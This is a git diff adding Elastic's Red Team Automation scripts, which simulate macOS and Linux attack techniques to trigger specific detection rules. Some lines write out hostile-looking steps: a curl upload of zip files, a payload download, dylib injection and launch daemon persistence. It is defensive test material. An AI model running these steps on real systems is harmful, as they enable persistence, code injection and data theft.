diff --git a/rta/app_hijack.py b/rta/app_hijack.py
new file mode 100644
index 000000000..5bb950a7e
--- /dev/null
+++ b/rta/app_hijack.py
@@ -0,0 +1,46 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from pathlib import Path
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="9e87748e-9866-4b6b-832d-5cba4dda14e8",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Potential Default Application Hijacking",
+ "rule_id": "5d2c3833-a36a-483a-acea-5bf8cf363a81",
+ }
+ ],
+ siem=[],
+ techniques=["T1574"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ app_dir = Path("/Applications/test/Contents/")
+ app_dir.mkdir(parents=True, exist_ok=True)
+ masquerade = str(app_dir / "hijack")
+ common.create_macos_masquerade(masquerade)
+ masquerade2 = "/tmp/open"
+ common.create_macos_masquerade(masquerade2)
+
+ # Execute command
+ common.log("Launching fake open commands to mimic hijacking applications")
+ command = f"{masquerade2} -a /System/Applications/*"
+ common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_directory(str(app_dir))
+ common.remove_file(masquerade2)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/at_job.py b/rta/at_job.py
new file mode 100644
index 000000000..79a89c135
--- /dev/null
+++ b/rta/at_job.py
@@ -0,0 +1,32 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="084c5d8f-2578-4fe0-bc6f-f6c44205804a",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "At Job Creation or Modification by an Unusual Process",
+ "rule_id": "779f18ce-1457-457c-80e1-3a5d146c2dc0",
+ }
+ ],
+ siem=[],
+ techniques=["T1053", "T1053.002"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ common.log("Executing file creation on /private/var/at/jobs/test.")
+ common.temporary_file_helper("testing", file_name="/private/var/at/jobs/test")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/background_process_from_tmp.py b/rta/background_process_from_tmp.py
new file mode 100644
index 000000000..faaa317a3
--- /dev/null
+++ b/rta/background_process_from_tmp.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="fa2bbba7-66f4-4fd6-9c81-599d58fe67e8",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "Background Process Execution via Shell", "rule_id": "603ac59e-9cca-4c48-9750-e38399079043"}
+ ],
+ siem=[],
+ techniques=["T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/sh"
+ common.create_macos_masquerade(masquerade)
+
+ common.log("Executing background processes via sh from tmp directory.")
+ command = 'bash -c "/* &"'
+ common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/bash_cmdline_history.py b/rta/bash_cmdline_history.py
new file mode 100644
index 000000000..52a6450da
--- /dev/null
+++ b/rta/bash_cmdline_history.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+metadata = RtaMetadata(
+ uuid="631a211d-bdaa-4b9d-a786-31d84d7bc070",
+ platforms=["linux", "macos"],
+ endpoint=[
+ {"rule_id": "31da6564-b3d3-4fc8-9a96-75ad0b364363", "rule_name": "Tampering of Bash Command-Line History"}
+ ],
+ siem=[],
+ techniques=["T1070", "T1070.003"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/history"
+
+ if common.CURRENT_OS == "linux":
+ source = common.get_path("bin", "linux.ditto_and_spawn")
+ common.copy_file(source, masquerade)
+ else:
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake builtin commands for tampering of bash command line history")
+ command = "-c"
+ common.execute([masquerade, command], timeout=10, kill=True, shell=True)
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/bin/com.apple.ditto_and_spawn_arm b/rta/bin/com.apple.ditto_and_spawn_arm
index 288756d22..15cdfa944 100755
Binary files a/rta/bin/com.apple.ditto_and_spawn_arm and b/rta/bin/com.apple.ditto_and_spawn_arm differ
diff --git a/rta/bin/com.apple.ditto_and_spawn_intel b/rta/bin/com.apple.ditto_and_spawn_intel
index 4a54ba444..a90ae30b3 100755
Binary files a/rta/bin/com.apple.ditto_and_spawn_intel and b/rta/bin/com.apple.ditto_and_spawn_intel differ
diff --git a/rta/bin/inject_arm.dylib b/rta/bin/inject_arm.dylib
new file mode 100755
index 000000000..1af1ae036
Binary files /dev/null and b/rta/bin/inject_arm.dylib differ
diff --git a/rta/bin/inject_intel.dylib b/rta/bin/inject_intel.dylib
new file mode 100755
index 000000000..444d7c897
Binary files /dev/null and b/rta/bin/inject_intel.dylib differ
diff --git a/rta/cron_tab_file_create.py b/rta/cron_tab_file_create.py
new file mode 100644
index 000000000..4bb81bf38
--- /dev/null
+++ b/rta/cron_tab_file_create.py
@@ -0,0 +1,32 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="e85f7e39-da36-4ed4-be00-c5b29f4d763c",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Cron Tab Creation or Modification by an Unusual Process",
+ "rule_id": "e5fc1285-d312-4b45-9e6b-e6c037276c17",
+ }
+ ],
+ siem=[],
+ techniques=["T1053", "T1053.003"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ common.log("Executing file creation on /private/var/at/tabs/test.")
+ common.temporary_file_helper("testing", file_name="/private/var/at/tabs/test")
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/curl_data_exfil.py b/rta/curl_data_exfil.py
new file mode 100644
index 000000000..0e3062f20
--- /dev/null
+++ b/rta/curl_data_exfil.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="aec658cc-a5df-42e8-8e09-810b484b9ef2",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "MacOS Potential Data Exfiltration via Curl",
+ "rule_id": "192ec591-1d00-4c16-a717-8a7481038d23",
+ }
+ ],
+ siem=[],
+ techniques=["T1048"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ # create masquerades
+ masquerade = "/tmp/curl"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake curl commands to simulate data exfil")
+ common.execute([masquerade, "-F", "*@*.zip", "http*"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/curl_sus_payload.py b/rta/curl_sus_payload.py
new file mode 100644
index 000000000..76616f860
--- /dev/null
+++ b/rta/curl_sus_payload.py
@@ -0,0 +1,39 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="bf7645b2-d0cf-428d-a158-b1479160e60c",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Payload Downloaded by Process Running in Suspicious Directory",
+ "rule_id": "8c42c8bd-c282-44ca-b308-92e4267b6244",
+ }
+ ],
+ siem=[],
+ techniques=["T1105"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/curl"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake curl commands to download payload")
+ common.execute([masquerade, "childprocess", "curl", "-k", "http://portquiz.net/"], timeout=5, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/dmg_create_in_tmp.py b/rta/dmg_create_in_tmp.py
new file mode 100644
index 000000000..52c0552ac
--- /dev/null
+++ b/rta/dmg_create_in_tmp.py
@@ -0,0 +1,43 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from pathlib import Path
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="4743705e-bf41-404a-b2f3-9f8f067516e6",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Suspicious DMG File Creation in Temp Directory",
+ "rule_id": "fdb0e7ed-4210-4b71-be47-d0b0d9458fa7",
+ }
+ ],
+ siem=[],
+ techniques=["T1211", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ tmp_dir = Path("/tmp/TestDMGDir")
+ tmp_dmg = "/tmp/TestDMG.dmg"
+ tmp_dir.mkdir(parents=True, exist_ok=True)
+
+ # Execute command
+ common.log("Launching hdiutil commands to create a dmg in tmp directory")
+ common.execute(["hdiutil", "create", "-size", "50m", "-volname", str(tmp_dir), "-ov", tmp_dmg], kill=True)
+
+ # cleanup
+ common.remove_directory(str(tmp_dir))
+ common.remove_file(tmp_dmg)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/dylib_injection.py b/rta/dylib_injection.py
new file mode 100644
index 000000000..5b6bab71c
--- /dev/null
+++ b/rta/dylib_injection.py
@@ -0,0 +1,47 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+import platform
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="f1321e5c-101d-4b03-8f0c-6cf8bda174ec",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Collect DIAG Dylib Load Event",
+ "rule_id": "2df75424-4106-43c5-8fea-f115e18588da",
+ },
+ {
+ "rule_name": "Dylib Injection via Process Environment Variables",
+ "rule_id": "246741d4-3eee-4fbb-beec-53ef562c62c3",
+ },
+ {
+ "rule_name": "Potential Binary Masquerading via Invalid Code Signature",
+ "rule_id": "4154c8ce-c718-4641-80db-a6a52276f1a4",
+ },
+ ],
+ siem=[],
+ techniques=["T1574", "T1574.006"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ if platform.processor() == "arm":
+ name = "com.apple.sleep_arm"
+ dylib = "inject_arm.dylib"
+ else:
+ name = "com.apple.sleep_intel"
+ dylib = "inject_intel.dylib"
+ target_bin = common.get_path("bin", name)
+ common.execute([f"DYLD_INSERT_LIBRARIES={dylib}", target_bin, "5"], kill=True, shell=True)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/echo_tmp_file_create.py b/rta/echo_tmp_file_create.py
new file mode 100644
index 000000000..b1cf5902e
--- /dev/null
+++ b/rta/echo_tmp_file_create.py
@@ -0,0 +1,42 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="2182f7e5-fc4b-4476-86c3-e7128dfcaa7a",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Suspicious File Overwrite and Modification via Echo",
+ "rule_id": "cd3a06dc-58c3-4d57-a03a-0d8991f237e7",
+ }
+ ],
+ siem=[],
+ techniques=["T1027", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ file_path = "/tmp/test"
+ masquerade = "/tmp/testbin"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake bash commands to abnormal echo shell commands")
+ command = f"bash -c 'echo* > {file_path}'"
+ common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+ common.remove_file(file_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_cmd_non_executable_file.py b/rta/exec_cmd_non_executable_file.py
new file mode 100644
index 000000000..ce8eecd0b
--- /dev/null
+++ b/rta/exec_cmd_non_executable_file.py
@@ -0,0 +1,30 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="0630610d-a9ae-47df-9e2f-e7f393972f1e",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "Execution of Non-Executable File via Shell", "rule_id": "c0770406-7ede-4049-a7a1-999c15fb60bd"}
+ ],
+ siem=[],
+ techniques=["T1036", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ common.log("Executing bash on unexecutable file.")
+ with common.temporary_file("testing", "/*.txt"):
+ common.execute(["/bin/bash", "/*.txt"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_from_mount.py b/rta/exec_from_mount.py
new file mode 100644
index 000000000..a145f9bac
--- /dev/null
+++ b/rta/exec_from_mount.py
@@ -0,0 +1,36 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="21d1d048-b8c9-4b6d-9748-44f8af1b444d",
+ platforms=["macos"],
+ endpoint=[],
+ siem=[
+ {
+ "rule_name": "Shell Script Execution from abnormal Volume Mount Path",
+ "rule_id": "87def154-004d-4d3a-8224-591e41804454",
+ }
+ ],
+ techniques=["T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/Volumes/bash"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching bash commands to simulate execution from mounted volume")
+ common.execute([masquerade, "/Volumes/*/Contents/*"], timeout=10, kill=True)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_from_python.py b/rta/exec_from_python.py
new file mode 100644
index 000000000..62aef4e42
--- /dev/null
+++ b/rta/exec_from_python.py
@@ -0,0 +1,41 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="54041e42-7a4b-417e-ac40-cd50c7085e48",
+ platforms=["macos"],
+ endpoint=[],
+ siem=[
+ {
+ "rule_name": "Suspicious Python Package Child Process Execution",
+ "rule_id": "d8cbba0d-7275-4bcd-be22-79ee6fea2951",
+ }
+ ],
+ techniques=["T1059", "T1059.004", "T1059.006"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ # test_file = "/tmp/test.txt"
+ masquerade = "/tmp/bash"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching bash commands to mimic python package execution")
+ parent_args = "*/lib/python*/site-packages/*"
+ common.execute([masquerade, "childprocess", parent_args, "-c"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_from_terminal.py b/rta/exec_from_terminal.py
new file mode 100644
index 000000000..e5a5857d5
--- /dev/null
+++ b/rta/exec_from_terminal.py
@@ -0,0 +1,40 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="1b681241-d9f1-4239-a9e7-650ebc0c38a4",
+ platforms=["macos"],
+ endpoint=[],
+ siem=[
+ {
+ "rule_name": "Suspicious Terminal Child Process Execution",
+ "rule_id": "8e88d216-af7a-4f5c-8155-fa7d2be03987",
+ }
+ ],
+ techniques=["T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/terminal"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ command = f"bash -c '/tmp/*'"
+ common.log("Launching bash commands to mimic terminal activity")
+ common.execute([masquerade, "childprocess", command], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_nohup.py b/rta/exec_nohup.py
new file mode 100644
index 000000000..471c31633
--- /dev/null
+++ b/rta/exec_nohup.py
@@ -0,0 +1,42 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="b2faa842-ffc9-41c6-baed-8008c9749a52",
+ platforms=["macos"],
+ endpoint=[],
+ siem=[
+ {
+ "rule_name": "Suspicious Nohup Execution",
+ "rule_id": "3f18726c-4897-41dc-8426-15da95b8482f",
+ }
+ ],
+ techniques=["T1059", "T1059.004", "T1564", "T1564.003"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ test_file = "/tmp/test.txt"
+ masquerade = "/tmp/bash"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ command = f"nohup {test_file}"
+ common.log("Launching bash commands to mimic suspicious nohup execution")
+ with common.temporary_file("testing", test_file):
+ common.execute([masquerade, "childprocess", command, "&"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_privhelper_tool.py b/rta/exec_privhelper_tool.py
new file mode 100644
index 000000000..9541ae934
--- /dev/null
+++ b/rta/exec_privhelper_tool.py
@@ -0,0 +1,43 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from pathlib import Path
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="aac863d1-8306-463e-b81f-3d97ba925a44",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Suspicious PrivilegedHelperTool Activity",
+ "rule_id": "900fdb84-2a81-4a6d-88db-b48a0fafd79e",
+ }
+ ],
+ siem=[],
+ techniques=["T1068"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ tools = Path("/Library/PrivilegedHelperTools")
+ tools.mkdir(parents=True, exist_ok=True)
+ masquerade = str(tools / "testbin")
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake bash commands to abnormal echo shell commands")
+ command = f"bash -c '/tmp/*'"
+ common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True)
+
+ # cleanup
+ common.remove_directory(str(tools))
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/exec_tclsh.py b/rta/exec_tclsh.py
new file mode 100644
index 000000000..381b00ef1
--- /dev/null
+++ b/rta/exec_tclsh.py
@@ -0,0 +1,35 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="9332cece-38b7-49e1-9f8d-e879913ffdfb",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Tclsh execution followed by immediate network connection",
+ "rule_id": "ac1eaed8-2aee-48d7-9824-2be1f00eda0e",
+ }
+ ],
+ siem=[],
+ techniques=["T1059"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/tclsh"
+ common.copy_file("/usr/bin/curl", masquerade)
+
+ common.log("Executing commands to mimic network activity from tclsh")
+ common.execute([masquerade, url], shell=True)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/file_mod_via_chmod.py b/rta/file_mod_via_chmod.py
new file mode 100644
index 000000000..18340f9d5
--- /dev/null
+++ b/rta/file_mod_via_chmod.py
@@ -0,0 +1,33 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="dbbfda7f-376d-482d-b7ea-3bb1e8918584",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "File Made Executable by Suspicious Parent Process",
+ "rule_id": "42ab2c0f-b10d-467d-8c6d-def890cf3f68",
+ }
+ ],
+ siem=[],
+ techniques=["T1222", "T1222.002", "T1564"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ common.log("Executing chmod on tmp files.")
+ with common.temporary_file("testing", "/tmp/test.txt"):
+ common.execute(["chmod", "+x", "/tmp/test.txt"])
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/hidden_file_mount.py b/rta/hidden_file_mount.py
new file mode 100644
index 000000000..b6c77acc0
--- /dev/null
+++ b/rta/hidden_file_mount.py
@@ -0,0 +1,41 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from pathlib import Path
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="1d7ff305-03b5-4917-b32c-d0267018063c",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "MacOS Hidden File Mounted", "rule_id": "c5f219ca-4bda-461b-bc54-246c0bb48143"},
+ ],
+ siem=[],
+ techniques=["T1211", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ mount_dir = "/tmp/.exploit"
+ disk_file = "disk.dmg"
+
+ # create disk image
+ common.execute(["hdiutil", "create", "-size", "50b", "-volname", ".exploit", "-ov", disk_file], kill=True)
+
+ # attach disk image to mount point
+ common.log("Launching hdutil commands to mount dummy dmg")
+ common.execute(["hdiutil", "attach", "-mountpoint", mount_dir, disk_file], kill=True)
+
+ # cleanup
+ common.execute(["hdiutil", "eject", "/tmp/.exploit"], timeout=10, kill=True)
+ common.remove_file(disk_file)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/hidden_plist.py b/rta/hidden_plist.py
new file mode 100644
index 000000000..8df4bf8bf
--- /dev/null
+++ b/rta/hidden_plist.py
@@ -0,0 +1,32 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+from pathlib import Path
+
+metadata = RtaMetadata(
+ uuid="6df524fe-6a1a-417f-8f70-d6140ef739e2",
+ platforms=["macos"],
+ endpoint=[{"rule_name": "Persistence via a Hidden Plist Filename", "rule_id": "4090fed3-8ac4-45bf-8545-bae448fd38d4"}],
+ siem=[{
+ 'rule_id': '092b068f-84ac-485d-8a55-7dd9e006715f',
+ 'rule_name': 'Creation of Hidden Launch Agent or Daemon'
+ }],
+ techniques=["T1547", "T1547.011", "T1543", "T1543.001", "T1564", "T1564.001"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ plist_path = f"/Library/LaunchAgents/.test.plist"
+ common.log(f"Executing hidden plist creation on {plist_path}")
+ common.temporary_file_helper("testing", plist_path)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/kext_load.py b/rta/kext_load.py
new file mode 100644
index 000000000..07dd1f3d9
--- /dev/null
+++ b/rta/kext_load.py
@@ -0,0 +1,41 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="c4ac8740-3dca-4550-831b-e03d21de581d",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "New System Kext File and Immediate Load via KextLoad",
+ "rule_id": "de869aa1-c63a-451e-a953-7069ec39ba60",
+ }
+ ],
+ siem=[],
+ techniques=["T1547", "T1547.006", "T1059", "T1059.004"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ # create masquerades
+ masquerade = "/tmp/mv"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command"
+ common.log("Launching fake commands load Kext file.")
+ common.execute([masquerade, "/System/Library/Extensions/*.kext"], timeout=10, kill=True)
+ common.execute(["kextload", "test.kext"], timeout=10, kill=True)
+
+ # cleanup
+ common.remove_file(masquerade)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/keychain_dump.py b/rta/keychain_dump.py
index e13aafc62..07639b4ab 100644
--- a/rta/keychain_dump.py
+++ b/rta/keychain_dump.py
@@ -10,14 +10,19 @@ from . import RtaMetadata
metadata = RtaMetadata(
uuid="f158a6dc-1974-4b98-a3e7-466f6f1afe01",
platforms=["macos"],
- endpoint=[],
+ endpoint=[
+ {
+ "rule_name": "Keychain Dump via native Security tool",
+ "rule_id": "549344d6-aaef-4495-9ca2-7a0b849bf571",
+ }
+ ],
siem=[
{
"rule_name": "Dumping of Keychain Content via Security Command",
"rule_id": "565d6ca5-75ba-4c82-9b13-add25353471c",
}
],
- techniques=["T1555"],
+ techniques=["T1555", "T1555.001"],
)
diff --git a/rta/launchd_load_plist.py b/rta/launchd_load_plist.py
new file mode 100644
index 000000000..268b70be2
--- /dev/null
+++ b/rta/launchd_load_plist.py
@@ -0,0 +1,57 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from pathlib import Path
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="17c710a6-9070-4448-b68c-a3694657552e",
+ platforms=["macos"],
+ endpoint=[
+ {
+ "rule_name": "Persistence via Suspicious Launch Agent or Launch Daemon",
+ "rule_id": "c6037fad-ad13-46a6-9f7f-4deeef5ac69b",
+ },
+ ],
+ siem=[],
+ techniques=["T1547", "T1547.011", "T1543", "T1543.001", "T1543.004"],
+)
+
+plist = """
+
+
+
+
+ Label
+ com.example.myapp
+ ProgramArguments
+
+ bash
+
+ RunAtLoad
+
+
+
+"""
+
+
+@common.requires_os(metadata.platforms)
+def main():
+ plist_name = "com.test.plist"
+ daemon_dir = Path("/", "Library", "LaunchDaemons").expanduser()
+ daemon_dir.mkdir(parents=True, exist_ok=True)
+ plist_path = str(daemon_dir / plist_name)
+
+ # with common.temporary_file(plist, file_name=plist_path):
+ with open(plist_path, "w") as f:
+ f.write(plist)
+ common.execute(["launchctl", "load", plist_path], kill=True)
+ common.execute(["launchctl", "unload", plist_path], kill=True)
+
+
+if __name__ == "__main__":
+ exit(main())
diff --git a/rta/link_to_tmp.py b/rta/link_to_tmp.py
new file mode 100644
index 000000000..eccc4df72
--- /dev/null
+++ b/rta/link_to_tmp.py
@@ -0,0 +1,37 @@
+# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+# or more contributor license agreements. Licensed under the Elastic License
+# 2.0; you may not use this file except in compliance with the Elastic License
+# 2.0.
+
+from . import common
+from . import RtaMetadata
+
+
+metadata = RtaMetadata(
+ uuid="eb5834cf-fcd8-4318-a656-5315a664e61d",
+ platforms=["macos"],
+ endpoint=[
+ {"rule_name": "Link Creation to Temp Directory", "rule_id": "ccca5e9f-2625-4b95-9b15-d5d8fc56df2c"},
+ ],
+ siem=[],
+ techniques=["T1222", "T1222.002"],
+)
+
+
+@common.requires_os(metadata.platforms)
+def main():
+
+ masquerade = "/tmp/ln"
+ common.create_macos_masquerade(masquerade)
+
+ # Execute command
+ common.log("Launching fake ln commands to link to temp directory")
+ with common.temporary_file("testing", "/tmp/test.txt"):
